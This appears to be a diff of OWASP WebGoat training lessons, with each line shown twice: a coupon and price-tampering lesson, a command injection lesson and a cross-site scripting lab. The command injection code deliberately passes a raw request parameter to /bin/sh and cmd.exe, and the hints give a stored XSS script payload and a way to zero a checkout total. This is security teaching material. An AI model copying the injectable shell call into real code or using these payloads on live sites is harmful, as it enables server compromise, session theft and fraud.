quantity += s.getParser().getFloatParameter("QTY3", 0.0f); quantity += s.getParser().getFloatParameter("QTY3", 0.0f);
quantity += s.getParser().getFloatParameter("QTY4", 0.0f); quantity += s.getParser().getFloatParameter("QTY4", 0.0f);
return quantity; return quantity;
} }
protected ElementContainer createQtyTable(WebSession s) protected ElementContainer createQtyTable(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center"); Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("70%")); tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("70%"));
tr.addElement(new TH().addElement("Price").setWidth("10%")); tr.addElement(new TH().addElement("Price").setWidth("10%"));
tr.addElement(new TH().addElement("Quantity").setWidth("10%")); tr.addElement(new TH().addElement("Quantity").setWidth("10%"));
tr.addElement(new TH().addElement("Total").setWidth("10%")); tr.addElement(new TH().addElement("Total").setWidth("10%"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry ")); tr.addElement(new TD().addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "PRC1", s.getParser().getStringParameter("PRC1", new Input(Input.TEXT, "PRC1", s.getParser().getStringParameter("PRC1",
"$69.99")) "$69.99"))
.setSize(10).setReadOnly(true).setStyle("border:0px;")) .setSize(10).setReadOnly(true).setStyle("border:0px;"))
.setAlign("right")); .setAlign("right"));
Input input = new Input(Input.TEXT, "QTY1", s.getParser().getStringParameter("QTY1", "0")); Input input = new Input(Input.TEXT, "QTY1", s.getParser().getStringParameter("QTY1", "0"));
input.setOnKeyUp("updateTotals();"); input.setOnKeyUp("updateTotals();");
input.setOnLoad("updateTotals();"); input.setOnLoad("updateTotals();");
input.setSize(10); input.setSize(10);
tr.addElement(new TD().addElement(input).setAlign("right")); tr.addElement(new TD().addElement(input).setAlign("right"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "TOT1", s.getParser().getStringParameter("TOT1", new Input(Input.TEXT, "TOT1", s.getParser().getStringParameter("TOT1",
"$0.00")) "$0.00"))
.setSize(10).setReadOnly(true).setStyle("border:0px;")) .setSize(10).setReadOnly(true).setStyle("border:0px;"))
.setAlign("right")); .setAlign("right"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case")); tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "PRC2", s.getParser().getStringParameter("PRC2", new Input(Input.TEXT, "PRC2", s.getParser().getStringParameter("PRC2",
"$27.99")) "$27.99"))
.setSize(10).setReadOnly(true).setStyle("border:0px;")) .setSize(10).setReadOnly(true).setStyle("border:0px;"))
.setAlign("right")); .setAlign("right"));
input = new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter("QTY2", "0")); input = new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter("QTY2", "0"));
input.setOnKeyUp("updateTotals();"); input.setOnKeyUp("updateTotals();");
input.setSize(10); input.setSize(10);
tr.addElement(new TD().addElement(input).setAlign("right")); tr.addElement(new TD().addElement(input).setAlign("right"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "TOT2", s.getParser().getStringParameter("TOT2", new Input(Input.TEXT, "TOT2", s.getParser().getStringParameter("TOT2",
"$0.00")) "$0.00"))
.setSize(10).setReadOnly(true).setStyle("border:0px;")) .setSize(10).setReadOnly(true).setStyle("border:0px;"))
.setAlign("right")); .setAlign("right"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Hewlett-Packard - Pavilion Notebook with Intel<65> Centrino<6E>")); tr.addElement(new TD().addElement("Hewlett-Packard - Pavilion Notebook with Intel<65> Centrino<6E>"));
tr.addElement(new TD() tr.addElement(new TD()
.addElement( .addElement(
new Input(Input.TEXT, "PRC3", s.getParser().getStringParameter("PRC3", "$1599.99")) new Input(Input.TEXT, "PRC3", s.getParser().getStringParameter("PRC3", "$1599.99"))
.setSize(10).setReadOnly(true).setStyle("border:0px;")).setAlign("right")); .setSize(10).setReadOnly(true).setStyle("border:0px;")).setAlign("right"));
input = new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter("QTY3", "0")); input = new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter("QTY3", "0"));
input.setOnKeyUp("updateTotals();"); input.setOnKeyUp("updateTotals();");
input.setSize(10); input.setSize(10);
tr.addElement(new TD().addElement(input).setAlign("right")); tr.addElement(new TD().addElement(input).setAlign("right"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "TOT3", s.getParser().getStringParameter("TOT3", new Input(Input.TEXT, "TOT3", s.getParser().getStringParameter("TOT3",
"$0.00")) "$0.00"))
.setSize(10).setReadOnly(true).setStyle("border:0px;")) .setSize(10).setReadOnly(true).setStyle("border:0px;"))
.setAlign("right")); .setAlign("right"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("3 - Year Performance Service Plan $1000 and Over ")); tr.addElement(new TD().addElement("3 - Year Performance Service Plan $1000 and Over "));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "PRC4", s.getParser().getStringParameter("PRC4", new Input(Input.TEXT, "PRC4", s.getParser().getStringParameter("PRC4",
"$299.99")) "$299.99"))
.setSize(10).setReadOnly(true).setStyle("border:0px;")) .setSize(10).setReadOnly(true).setStyle("border:0px;"))
.setAlign("right")); .setAlign("right"));
input = new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter("QTY4", "0")); input = new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter("QTY4", "0"));
input.setOnKeyUp("updateTotals();"); input.setOnKeyUp("updateTotals();");
input.setSize(10); input.setSize(10);
tr.addElement(new TD().addElement(input).setAlign("right")); tr.addElement(new TD().addElement(input).setAlign("right"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "TOT4", s.getParser().getStringParameter("TOT4", new Input(Input.TEXT, "TOT4", s.getParser().getStringParameter("TOT4",
"$0.00")) "$0.00"))
.setSize(10).setReadOnly(true).setStyle("border:0px;")) .setSize(10).setReadOnly(true).setStyle("border:0px;"))
.setAlign("right")); .setAlign("right"));
t.addElement(tr); t.addElement(tr);
ec.addElement(t); ec.addElement(t);
return ec; return ec;
} }
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.AJAX_SECURITY; return Category.AJAX_SECURITY;
} }
/** /**
* Gets the hints attribute of the AccessControlScreen object * Gets the hints attribute of the AccessControlScreen object
* *
* @return The hints value * @return The hints value
*/ */
public List<String> getHints(WebSession s) public List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Use Firebug to examine the JavaScript."); hints.add("Use Firebug to examine the JavaScript.");
hints.add("Using Firebug, you can add breakpoints in the JavaScript."); hints.add("Using Firebug, you can add breakpoints in the JavaScript.");
hints.add("Use Firebug to find the array of encrypted coupon codes, and " hints.add("Use Firebug to find the array of encrypted coupon codes, and "
+ "step through the JavaScript to see the decrypted values."); + "step through the JavaScript to see the decrypted values.");
hints.add("You can use Firebug to inspect (and modify) the HTML."); hints.add("You can use Firebug to inspect (and modify) the HTML.");
hints.add("Use Firebug to remove the 'readonly' attribute from the input next to " hints.add("Use Firebug to remove the 'readonly' attribute from the input next to "
+ "'The total charged to your credit card:' and set the value to 0."); + "'The total charged to your credit card:' and set the value to 0.");
return hints; return hints;
} }
/** /**
* Gets the instructions attribute of the WeakAccessControl object * Gets the instructions attribute of the WeakAccessControl object
* *
* @return The instructions value * @return The instructions value
*/ */
public String getInstructions(WebSession s) public String getInstructions(WebSession s)
{ {
String instructions = ""; String instructions = "";
if (getLessonTracker(s).getStage() == 1) if (getLessonTracker(s).getStage() == 1)
{ {
instructions = "STAGE 1:\tFor this exercise, your mission is to discover a coupon code to receive an unintended discount."; instructions = "STAGE 1:\tFor this exercise, your mission is to discover a coupon code to receive an unintended discount.";
} }
else if (getLessonTracker(s).getStage() == 2) else if (getLessonTracker(s).getStage() == 2)
{ {
instructions = "STAGE 2:\tNow, try to get your entire order for free."; instructions = "STAGE 2:\tNow, try to get your entire order for free.";
} }
return (instructions); return (instructions);
} }
private final static Integer DEFAULT_RANKING = new Integer(120); private final static Integer DEFAULT_RANKING = new Integer(120);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the AccessControlScreen object * Gets the title attribute of the AccessControlScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return "Insecure Client Storage"; return "Insecure Client Storage";
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("", ASPECT_LOGO); return super.getCustomCredits("", ASPECT_LOGO);
} }
} }

View File

@ -51,249 +51,249 @@ import org.owasp.webgoat.util.WebGoatI18N;
*/ */
public class CommandInjection extends LessonAdapter public class CommandInjection extends LessonAdapter
{ {
private final static String HELP_FILE = "HelpFile"; private final static String HELP_FILE = "HelpFile";
private String osName = System.getProperty("os.name"); private String osName = System.getProperty("os.name");
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
boolean illegalCommand = getWebgoatContext().isDefuseOSCommands(); boolean illegalCommand = getWebgoatContext().isDefuseOSCommands();
try try
{ {
String helpFile = s.getParser().getRawParameter(HELP_FILE, "BasicAuthentication.help"); String helpFile = s.getParser().getRawParameter(HELP_FILE, "BasicAuthentication.help");
if (getWebgoatContext().isDefuseOSCommands() if (getWebgoatContext().isDefuseOSCommands()
&& (helpFile.indexOf('&') != -1 || helpFile.indexOf(';') != -1)) && (helpFile.indexOf('&') != -1 || helpFile.indexOf(';') != -1))
{ {
int index = helpFile.indexOf('&'); int index = helpFile.indexOf('&');
if (index == -1) if (index == -1)
{ {
index = helpFile.indexOf(';'); index = helpFile.indexOf(';');
} }
index = index + 1; index = index + 1;
int helpFileLen = helpFile.length() - 1; // subtract 1 for the closing quote int helpFileLen = helpFile.length() - 1; // subtract 1 for the closing quote
System.out.println(WebGoatI18N.get("Command")+" = [" + helpFile.substring(index, helpFileLen).trim().toLowerCase() + "]"); System.out.println(WebGoatI18N.get("Command")+" = [" + helpFile.substring(index, helpFileLen).trim().toLowerCase() + "]");
if ((osName.indexOf("Windows") != -1 && (helpFile.substring(index, helpFileLen).trim().toLowerCase() if ((osName.indexOf("Windows") != -1 && (helpFile.substring(index, helpFileLen).trim().toLowerCase()
.equals("netstat -a") .equals("netstat -a")
|| helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("dir") || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("dir")
|| helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ls") || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ls")
|| helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ifconfig") || helpFile || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ifconfig") || helpFile
.substring(index, helpFileLen).trim().toLowerCase().equals("ipconfig"))) .substring(index, helpFileLen).trim().toLowerCase().equals("ipconfig")))
|| (helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("netstat -a #") || (helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("netstat -a #")
|| helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("dir #") || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("dir #")
|| helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ls #") || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ls #")
|| helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ls -l #") || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ls -l #")
|| helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ifconfig #") || helpFile || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ifconfig #") || helpFile
.substring(index, helpFileLen).trim().toLowerCase().equals("ipconfig #"))) .substring(index, helpFileLen).trim().toLowerCase().equals("ipconfig #")))
{ {
illegalCommand = false; illegalCommand = false;
} }
else else
{ {
s.setMessage(WebGoatI18N.get("CommandInjectionRightTrack1")); s.setMessage(WebGoatI18N.get("CommandInjectionRightTrack1"));
} }
} }
if (getWebgoatContext().isDefuseOSCommands() && helpFile.indexOf('&') == -1 && helpFile.indexOf(';') == -1) if (getWebgoatContext().isDefuseOSCommands() && helpFile.indexOf('&') == -1 && helpFile.indexOf(';') == -1)
{ {
if (helpFile.length() > 0) if (helpFile.length() > 0)
{ {
if (upDirCount(helpFile) <= 3) if (upDirCount(helpFile) <= 3)
{ {
// FIXME: This value isn't used. What is the goal here? // FIXME: This value isn't used. What is the goal here?
s.getContext().getRealPath("/"); s.getContext().getRealPath("/");
illegalCommand = false; illegalCommand = false;
} }
else else
{ {
s.setMessage(WebGoatI18N.get("CommandInjectionRightTrack2")); s.setMessage(WebGoatI18N.get("CommandInjectionRightTrack2"));
} }
} }
else else
{ {
// No Command entered. // No Command entered.
illegalCommand = false; illegalCommand = false;
} }
} }
File safeDir = new File(s.getContext().getRealPath("/lesson_plans/English")); File safeDir = new File(s.getContext().getRealPath("/lesson_plans/English"));
ec.addElement(new StringElement(WebGoatI18N.get("YouAreCurrentlyViewing")+"<b>" ec.addElement(new StringElement(WebGoatI18N.get("YouAreCurrentlyViewing")+"<b>"
+ (helpFile.toString().length() == 0 ? "&lt;"+WebGoatI18N.get("SelectFileFromListBelow")+"&gt;" : helpFile.toString()) + (helpFile.toString().length() == 0 ? "&lt;"+WebGoatI18N.get("SelectFileFromListBelow")+"&gt;" : helpFile.toString())
+ "</b>")); + "</b>"));
if (!illegalCommand) if (!illegalCommand)
{ {
String results; String results;
String fileData = null; String fileData = null;
helpFile = helpFile.replaceAll("\\.help", "\\.html"); helpFile = helpFile.replaceAll("\\.help", "\\.html");
if (osName.indexOf("Windows") != -1) if (osName.indexOf("Windows") != -1)
{ {
// Add quotes around the filename to avoid having special characters in DOS // Add quotes around the filename to avoid having special characters in DOS
// filenames // filenames
results = exec(s, "cmd.exe /c dir /b \"" + safeDir.getPath() + "\""); results = exec(s, "cmd.exe /c dir /b \"" + safeDir.getPath() + "\"");
fileData = exec(s, "cmd.exe /c type \"" + new File(safeDir, helpFile).getPath() + "\""); fileData = exec(s, "cmd.exe /c type \"" + new File(safeDir, helpFile).getPath() + "\"");
} }
else else
{ {
String[] cmd1 = { "/bin/sh", "-c", "ls \"" + safeDir.getPath() + "\"" }; String[] cmd1 = { "/bin/sh", "-c", "ls \"" + safeDir.getPath() + "\"" };
results = exec(s, cmd1); results = exec(s, cmd1);
String[] cmd2 = { "/bin/sh", "-c", "cat \"" + new File(safeDir, helpFile).getPath() + "\"" }; String[] cmd2 = { "/bin/sh", "-c", "cat \"" + new File(safeDir, helpFile).getPath() + "\"" };
fileData = exec(s, cmd2); fileData = exec(s, cmd2);
} }
ec.addElement(new P().addElement(WebGoatI18N.get("SelectLessonPlanToView"))); ec.addElement(new P().addElement(WebGoatI18N.get("SelectLessonPlanToView")));
ec.addElement(ECSFactory.makePulldown(HELP_FILE, parseResults(results.replaceAll("(?s)\\.html", ec.addElement(ECSFactory.makePulldown(HELP_FILE, parseResults(results.replaceAll("(?s)\\.html",
"\\.help")))); "\\.help"))));
// ec.addElement( results ); // ec.addElement( results );
Element b = ECSFactory.makeButton(WebGoatI18N.get("View")); Element b = ECSFactory.makeButton(WebGoatI18N.get("View"));
ec.addElement(b); ec.addElement(b);
// Strip out some of the extra html from the "help" file // Strip out some of the extra html from the "help" file
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
ec.addElement(new StringElement(fileData.replaceAll(System.getProperty("line.separator"), "<br>") ec.addElement(new StringElement(fileData.replaceAll(System.getProperty("line.separator"), "<br>")
.replaceAll("(?s)<!DOCTYPE.*/head>", "").replaceAll("<br><br>", "<br>") .replaceAll("(?s)<!DOCTYPE.*/head>", "").replaceAll("<br><br>", "<br>")
.replaceAll("<br>\\s<br>", "<br>"))); .replaceAll("<br>\\s<br>", "<br>")));
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
private String parseResults(String results) private String parseResults(String results)
{ {
results.replaceAll("(?s).*Output...\\s", "").replaceAll("(?s)Returncode.*", ""); results.replaceAll("(?s).*Output...\\s", "").replaceAll("(?s)Returncode.*", "");
StringTokenizer st = new StringTokenizer(results, "\n"); StringTokenizer st = new StringTokenizer(results, "\n");
StringBuffer modified = new StringBuffer(); StringBuffer modified = new StringBuffer();
while (st.hasMoreTokens()) while (st.hasMoreTokens())
{ {
String s = (String) st.nextToken().trim(); String s = (String) st.nextToken().trim();
if (s.length() > 0 && s.endsWith(".help")) if (s.length() > 0 && s.endsWith(".help"))
{ {
modified.append(s + "\n"); modified.append(s + "\n");
} }
} }
return modified.toString(); return modified.toString();
} }
public static int upDirCount(String fileName) public static int upDirCount(String fileName)
{ {
int count = 0; int count = 0;
// check for "." = %2d // check for "." = %2d
// we wouldn't want anyone bypassing the check by useing encoding :) // we wouldn't want anyone bypassing the check by useing encoding :)
// FIXME: I don't think hex endoing will work here. // FIXME: I don't think hex endoing will work here.
fileName = fileName.replaceAll("%2d", "."); fileName = fileName.replaceAll("%2d", ".");
int startIndex = fileName.indexOf(".."); int startIndex = fileName.indexOf("..");
while (startIndex != -1) while (startIndex != -1)
{ {
count++; count++;
startIndex = fileName.indexOf("..", startIndex + 1); startIndex = fileName.indexOf("..", startIndex + 1);
} }
return count; return count;
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param command * @param command
* Description of the Parameter * Description of the Parameter
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
private String exec(WebSession s, String command) private String exec(WebSession s, String command)
{ {
System.out.println("Executing OS command: " + command); System.out.println("Executing OS command: " + command);
ExecResults er = Exec.execSimple(command); ExecResults er = Exec.execSimple(command);
if ((command.indexOf("&") != -1 || command.indexOf(";") != -1) && !er.getError()) if ((command.indexOf("&") != -1 || command.indexOf(";") != -1) && !er.getError())
{ {
makeSuccess(s); makeSuccess(s);
} }
return (er.toString()); return (er.toString());
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param command * @param command
* Description of the Parameter * Description of the Parameter
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
private String exec(WebSession s, String[] command) private String exec(WebSession s, String[] command)
{ {
System.out.println("Executing OS command: " + Arrays.asList(command)); System.out.println("Executing OS command: " + Arrays.asList(command));
ExecResults er = Exec.execSimple(command); ExecResults er = Exec.execSimple(command);
// the third argument (index 2) will have the command injection in it // the third argument (index 2) will have the command injection in it
if ((command[2].indexOf("&") != -1 || command[2].indexOf(";") != -1) && !er.getError()) if ((command[2].indexOf("&") != -1 || command[2].indexOf(";") != -1) && !er.getError())
{ {
makeSuccess(s); makeSuccess(s);
} }
return (er.toString()); return (er.toString());
} }
/** /**
* Gets the category attribute of the CommandInjection object * Gets the category attribute of the CommandInjection object
* *
* @return The category value * @return The category value
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.INJECTION; return Category.INJECTION;
} }
/** /**
* Gets the hints attribute of the DirectoryScreen object * Gets the hints attribute of the DirectoryScreen object
* *
* @return The hints value * @return The hints value
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add(WebGoatI18N.get("CommandInjectionHint1")); hints.add(WebGoatI18N.get("CommandInjectionHint1"));
hints.add(WebGoatI18N.get("CommandInjectionHint2")); hints.add(WebGoatI18N.get("CommandInjectionHint2"));
hints.add(WebGoatI18N.get("CommandInjectionHint3")); hints.add(WebGoatI18N.get("CommandInjectionHint3"));
hints.add(WebGoatI18N.get("CommandInjectionHint4")); hints.add(WebGoatI18N.get("CommandInjectionHint4"));
return hints; return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(40); private final static Integer DEFAULT_RANKING = new Integer(40);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the DirectoryScreen object * Gets the title attribute of the DirectoryScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return "Command Injection"; return "Command Injection";
} }
} }

File diff suppressed because it is too large Load Diff

View File

@ -59,267 +59,267 @@ import org.owasp.webgoat.util.HtmlEncoder;
*/ */
public class CrossSiteScripting extends GoatHillsFinancial public class CrossSiteScripting extends GoatHillsFinancial
{ {
private final static Integer DEFAULT_RANKING = new Integer(100); private final static Integer DEFAULT_RANKING = new Integer(100);
public final static String STAGE1 = "Stored XSS"; public final static String STAGE1 = "Stored XSS";
public final static String STAGE2 = "Block Stored XSS using Input Validation"; public final static String STAGE2 = "Block Stored XSS using Input Validation";
public final static String STAGE3 = "Stored XSS Revisited"; public final static String STAGE3 = "Stored XSS Revisited";
public final static String STAGE4 = "Block Stored XSS using Output Encoding"; public final static String STAGE4 = "Block Stored XSS using Output Encoding";
public final static String STAGE5 = "Reflected XSS"; public final static String STAGE5 = "Reflected XSS";
public final static String STAGE6 = "Block Reflected XSS"; public final static String STAGE6 = "Block Reflected XSS";
protected void registerActions(String className) protected void registerActions(String className)
{ {
registerAction(new ListStaff(this, className, LISTSTAFF_ACTION)); registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION)); registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION)); registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
registerAction(new EditProfile(this, className, EDITPROFILE_ACTION)); registerAction(new EditProfile(this, className, EDITPROFILE_ACTION));
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION)); registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions. // These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION))); registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION))); registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION))); registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
} }
/** /**
* Gets the category attribute of the CrossSiteScripting object * Gets the category attribute of the CrossSiteScripting object
* *
* @return The category value * @return The category value
*/ */
public Category getDefaultCategory() public Category getDefaultCategory()
{ {
return Category.XSS; return Category.XSS;
} }
public String getLessonSolutionFileName(WebSession s) public String getLessonSolutionFileName(WebSession s)
{ {
String solutionFileName = null; String solutionFileName = null;
String stage = getStage(s); String stage = getStage(s);
solutionFileName = "/lesson_solutions_1/Lab XSS/Lab " + stage + ".html"; solutionFileName = "/lesson_solutions_1/Lab XSS/Lab " + stage + ".html";
return solutionFileName; return solutionFileName;
} }
@Override @Override
public String getSolution(WebSession s) public String getSolution(WebSession s)
{ {
String src = null; String src = null;
try try
{ {
// System.out.println("Solution: " + getLessonSolutionFileName(s)); // System.out.println("Solution: " + getLessonSolutionFileName(s));
src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName(s)))), src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName(s)))),
false); false);
} catch (IOException e) } catch (IOException e)
{ {
s.setMessage("Could not find the solution file"); s.setMessage("Could not find the solution file");
src = ("Could not find the solution file"); src = ("Could not find the solution file");
} }
return src; return src;
} }
/** /**
* Gets the hints attribute of the DirectoryScreen object * Gets the hints attribute of the DirectoryScreen object
* *
* @return The hints value * @return The hints value
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
// Stage 1 // Stage 1
hints.add("Stage1: You can put HTML tags in form input fields."); hints.add("Stage1: You can put HTML tags in form input fields.");
hints.add("Stage1: Bury a SCRIPT tag in the field to attack anyone who reads it."); hints.add("Stage1: Bury a SCRIPT tag in the field to attack anyone who reads it.");
hints hints
.add("Stage1: Enter this: &lt;script language=\"javascript\" type=\"text/javascript\"&gt;alert(\"Ha Ha Ha\");&lt;/script&gt; in message fields."); .add("Stage1: Enter this: &lt;script language=\"javascript\" type=\"text/javascript\"&gt;alert(\"Ha Ha Ha\");&lt;/script&gt; in message fields.");
hints.add("Stage1: Enter this: &lt;script&gt;alert(\"document.cookie\");&lt;/script&gt; in message fields."); hints.add("Stage1: Enter this: &lt;script&gt;alert(\"document.cookie\");&lt;/script&gt; in message fields.");
// Stage 2 // Stage 2
hints.add("Stage2: Many scripts rely on the use of special characters such as: &lt;"); hints.add("Stage2: Many scripts rely on the use of special characters such as: &lt;");
hints hints
.add("Stage2: Allowing only a certain set of characters (positive filtering) is preferred to blocking a set of characters (negative filtering)."); .add("Stage2: Allowing only a certain set of characters (positive filtering) is preferred to blocking a set of characters (negative filtering).");
hints.add("Stage2: The java.util.regex package is useful for filtering string values."); hints.add("Stage2: The java.util.regex package is useful for filtering string values.");
// Stage 3 // Stage 3
hints hints
.add("Stage3: Browsers recognize and decode HTML entity encoded content after parsing and interpretting HTML tags."); .add("Stage3: Browsers recognize and decode HTML entity encoded content after parsing and interpretting HTML tags.");
hints.add("Stage3: An HTML entity encoder is provided in the ParameterParser class."); hints.add("Stage3: An HTML entity encoder is provided in the ParameterParser class.");
// Stage 4 // Stage 4
hints hints
.add("Stage4: Examine content served in response to form submissions looking for data taken from the form."); .add("Stage4: Examine content served in response to form submissions looking for data taken from the form.");
hints.add("Stage4: There is a class called HtmlEncoder in org.owasp.webgoat.util"); hints.add("Stage4: There is a class called HtmlEncoder in org.owasp.webgoat.util");
// Stage 5 // Stage 5
hints hints
.add("Stage5: Validate early. Consider: out.println(\"Order for \" + request.getParameter(\"product\") + \" being processed...\");"); .add("Stage5: Validate early. Consider: out.println(\"Order for \" + request.getParameter(\"product\") + \" being processed...\");");
return hints; return hints;
} }
/** /**
* Gets the instructions attribute of the ParameterInjection object * Gets the instructions attribute of the ParameterInjection object
* *
* @return The instructions value * @return The instructions value
*/ */
public String getInstructions(WebSession s) public String getInstructions(WebSession s)
{ {
String instructions = ""; String instructions = "";
if (!getLessonTracker(s).getCompleted()) if (!getLessonTracker(s).getCompleted())
{ {
String stage = getStage(s); String stage = getStage(s);
if (STAGE1.equals(stage)) if (STAGE1.equals(stage))
{ {
instructions = "Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.<br>" instructions = "Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.<br>"
+ "As 'Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. " + "As 'Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. "
+ "Verify that 'Jerry' is affected by the attack. <br/>The passwords for the accounts are the lower-case " + "Verify that 'Jerry' is affected by the attack. <br/>The passwords for the accounts are the lower-case "
+ "versions of their given names (e.g. the password for Tom Cat is \"tom\")."; + "versions of their given names (e.g. the password for Tom Cat is \"tom\").";
} }
else if (STAGE2.equals(stage)) else if (STAGE2.equals(stage))
{ {
instructions = "Stage 2: Block Stored XSS using Input Validation.<br><br>" instructions = "Stage 2: Block Stored XSS using Input Validation.<br><br>"
+ "<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>" + "<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>"
+ "Implement a fix to block the stored XSS before it can be written to the database. " + "Implement a fix to block the stored XSS before it can be written to the database. "
+ "Repeat stage 1 as 'Eric' with 'David' as the manager. Verify that 'David' is not affected by the attack."; + "Repeat stage 1 as 'Eric' with 'David' as the manager. Verify that 'David' is not affected by the attack.";
} }
else if (STAGE3.equals(stage)) else if (STAGE3.equals(stage))
